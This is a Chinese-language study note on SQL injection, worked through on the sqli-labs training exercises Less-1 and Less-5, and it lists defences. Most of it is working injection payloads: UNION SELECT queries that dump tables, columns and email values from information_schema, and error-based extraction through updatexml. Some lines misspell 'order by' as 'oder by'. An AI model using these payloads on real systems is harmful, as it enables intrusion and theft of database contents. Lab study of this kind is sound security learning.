目录
原理
sql注入肯定是与数据库相联系的,在与数据库产生交互的地方都有可能出现sql注入漏洞。
通过在web表单/页面请求/输入域名 中输入sql语句来注入后台数据库执行。(sql注入)
核心:用户输入的sql语句被当作代码执行
危害
1.信息泄露
2.数据篡改
3.一些破坏性的操作
防御
1.对用户的输入进行验证和过滤
2.部署Web应用程序防火墙(WAF),对http请求进行实时监控和过滤
3.使用参数化查询,参数化查询可以将用户输入作为参数传递给预定义的SQL查询来执行
攻击技巧(sqli-labs)
Less - 1
?id=1
sqli/Less-1/?id=1 and 1=1
sqli/Less-1/?id=1 and 1=2 (均无报错与回显,判断是字符型)
sqli/Less-1/?id=1' and 1=1 (ok 显示报错了)
注意:字符型要构造闭合,因为有 '
?id=1' and 1=1 -- q (--用来注释本行 空格加q防止--被浏览器不执行)
查询字段数:?id=1' oder by 5 -- q (二分查找法)
?id=1' oder by 3 -- q
?id=1' oder by 4 -- q
判断字段数为3
查看回显位,注意将?id=1' ——>?id=0' (一个不存在的值即可)
联合查询union select
?id=0' union select 1,2,3 -- q (回显位为 2,3)
先判断数据库版本,如果是5.0以上版本才有information_schema 这个库
拿库:?id=0' union select 1,version(),database() -- q
拿表:
sqli/Less-1/?id=0' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security' -- q
group_concat() :就是一次性拿完数据
拿列:
sqli/Less-1/?id=0' union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema='security' -- q
(我是直接拿完了,觉得不方便看就一个一个拿)
拿值:
sqli/Less-1/?id=0' union select 1,group_concat(id),group_concat(email_id) from emails -- q
Less - 5
?id=1 and 1=1 与 ?id=1 and 1=2
?id=1' and 1=1 -- q (没反应)
?id=1' order by 5 -- q (试一试查字段数,报错了-好消息)
?id=1' order by 3 -- q (查出来字段数为3,但是没有回显位)
报错注入:
没有回显位,但是要报错,有报错信息就从报错信息入手。(把报错信息当作回显信息)
用 updatexml(1,concat('!',database(),'!'),3)
?id=1' and updatexml(1,concat('!',database(),'!'),3) -- q (后面就是一些基本操作,和前面一样)